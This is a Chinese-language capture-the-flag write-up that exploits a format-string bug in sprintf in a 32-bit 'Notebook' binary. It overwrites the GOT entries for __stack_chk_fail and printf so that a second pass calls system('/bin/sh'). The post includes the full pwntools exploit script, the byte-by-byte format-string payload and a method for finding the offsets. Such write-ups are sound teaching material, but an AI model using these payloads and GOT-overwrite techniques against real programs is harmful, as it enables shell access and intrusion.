0%

Notebook(修改___stack_chk_fail的GOT表)

首先,检查一下程序的保护机制,发现PIE和RELRO未开启

然后,我们用IDA分析一下,看起来好复杂的样子

发现有溢出和格式化字符串漏洞

首先当然是想到利用格式化字符串漏洞来泄露canary的值

要想执行格式化字符串漏洞,得满足那个if条件

我想了好久,才反应过来,如果有传入格式化的字符串,这个条件就不可能满足。但是

[sprintf不也是一个格式化字符串的吗,这么大的漏洞放这里半天没看见]{.mark}

怎么利用呢?

最开始,想的是怎么来泄露canary的值,然而,我们发现,这个程序根本就不能正常的退出,不管输入什么,最终都是异常终止

怎么回事,我们只输入了3个字符

让我们仔细分析一下程序看看

这个memset有问题,大小设置为0x3e8,这不把canary、ebp、main函数返回地址等等的都给清零了吗

由此想到,这个程序根本不可能正常退出,也不用泄露canary,因为canary一开始就被自己覆盖成0了,最后肯定会[抛出栈异常]{.mark}

现在有没有想法了?

也就是说,[这题的栈溢出是我们的干扰项,真正供我们利用的是sprintf格式化字符串漏洞]{.mark}

抛出栈异常不就是调用___stack_chk_fail函数吗

我们是不是可以利用那个sprintf函数,把___stack_chk_fail的got表内容指向main函数,这样,我们又可以重新回到main函数开始的地方,然后再修改另一个函数的got表,让它指向system,因为system有一个参数,所以我们也找一个有参数的函数

看看这个printf,很合适啊

当我们第一次在sub_80486D3函数里利用**[sprintf把___stack_chk_fail的GOT指向了main,把printf的GOT指向了system的PLT,那么,第二次,我们回到了main函数,我们这次输入一个正常的字符串”/bin/sh”,那么就调用了printf(“/bin/sh”),也就是调用了system(“/bin/sh”),那么我们就能GET SHELL了。]{.mark}**

首先,我们得到两个地址

1
2
1.	main_addr = 0x804878D  
2. system_plt = 0x8048540

我们要把main_addr写入到___stack_chk_fail的GOT,把system_plt写入到printf的GOT,并且需要一次性的完成这两个地方的写入,我们**[先一字节一字节写,然后写printf的GOT时,我们2字节2字节的写]{.mark},并且[根据数据的值从小到大的写入,因为这个一次性写入,输出的字符总数是和前面叠加一起算的]{.mark},**格式化字符串不理解的可以去网上学习学习

1
2
3
4
5
6
7
8
9
10
1.	#我们需要修改__stack_chk_fail的GOT表为main,printf的GOT表为system的plt  
2. #先一字节一字节的写main_addr到__stack_chk_fail_got
3. payload = 'a%' +str(4-1) + 'c%38$hhn%' + str(8-4) + 'c%39$hhn'
4. payload += '%' + str(0x87-8) + 'c%40$hhn%' + str(0x8D-0x87) + 'c%41$hhn'
5. #接下来我们两字节两字节修改printf的GOT表
6. payload += '%' + str(0x804-0x8D) + 'c%42$hn'
7. payload += '%' + str(0x8540 - 0x804) + 'c%43$hn'
8. payload += p32(__stack_chk_fail_got+2) + p32(__stack_chk_fail_got+3)
9. payload += p32(__stack_chk_fail_got+1) + p32(__stack_chk_fail_got)
10. payload += p32(printf_got+2) + p32(printf_got)

这里要说明的是上面**[如何确定地址数据位于的位置,也就是上面%38、%39等这些]{.mark}**,分别对应于p32(__stack_chk_fail_got+2)、p32(__stack_chk_fail_got+3),但这是如何确定的呢?

我们可以先把payload里的那些符号都随便替换掉,然后最后加一个’aaaa’,我们就从%38开始试验,用IDA调试

1
2
3
4
5
1.	payload = 'aa' +str(4-1) + 'c%38$phnc' + str(8-4) + 'cd19ghhn'  
2. payload += 'e' + str(0x87-8) + 'cf20ghhng' + str(0x8D-0x87) + 'cg21ghhn'
3. payload += 'e' + str(0x804-0x8D) + 'cf42xhn'
4. payload += 'e' + str(0x8540 - 0x804) + 'cx43vhn'
5. payload += 'aaaa'

当我们试到%38$p时,发现格式化后,那里的数据为0x61616161,正好就是末尾的”aaaa”数据,由此,我们就确定了位置。

综上,我们的exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1.	#coding:utf8  
2. from pwn import *
3.
4. context.log_level = 'debug'
5.
6. sh = process('./pwnh31')
7. #sh = remote('111.198.29.45',51813)
8. elf = ELF('./pwnh31')
9. main_addr = 0x804878D
10. __stack_chk_fail_got = elf.got['__stack_chk_fail']
11. printf_got = elf.got['printf']
12. #0x8048540
13. system_plt = 0x8048540
14.
15. #我们需要修改__stack_chk_fail的GOT表为main,printf的GOT表为system的plt
16. #先一字节一字节的写main_addr到__stack_chk_fail_got
17. payload = 'a%' +str(4-1) + 'c%38$hhn%' + str(8-4) + 'c%39$hhn'
18. payload += '%' + str(0x87-8) + 'c%40$hhn%' + str(0x8D-0x87) + 'c%41$hhn'
19. #接下来我们两字节两字节修改printf的GOT表
20. payload += '%' + str(0x804-0x8D) + 'c%42$hn'
21. payload += '%' + str(0x8540 - 0x804) + 'c%43$hn'
22. payload += p32(__stack_chk_fail_got+2) + p32(__stack_chk_fail_got+3)
23. payload += p32(__stack_chk_fail_got+1) + p32(__stack_chk_fail_got)
24. payload += p32(printf_got+2) + p32(printf_got)
25.
26. '''''payload = 'aa' +str(4) + 'c%38$phnc' + str(8-4) + 'cd19ghhn'
27. payload += 'e' + str(0x87-8) + 'cf20ghhng' + str(0x8D-0x87) + 'cg21ghhn'
28. payload += 'e' + str(0x804-0x8D) + 'cf42xhn'
29. payload += 'e' + str(0x8540 - 0x804) + 'cx43vhn'
30. payload += 'aaaa'
31. '''
32. sh.sendline(payload)
33. #get shell
34. sh.sendline('/bin/sh')
35.
36. sh.interactive()

本题难点在于漏洞的查找,有干扰项

由此,我们还知道了**[绕过canary机制不局限与泄露它,还可以利用格式化字符串漏洞修改___stack_chk_fail的GOT表]{.mark}**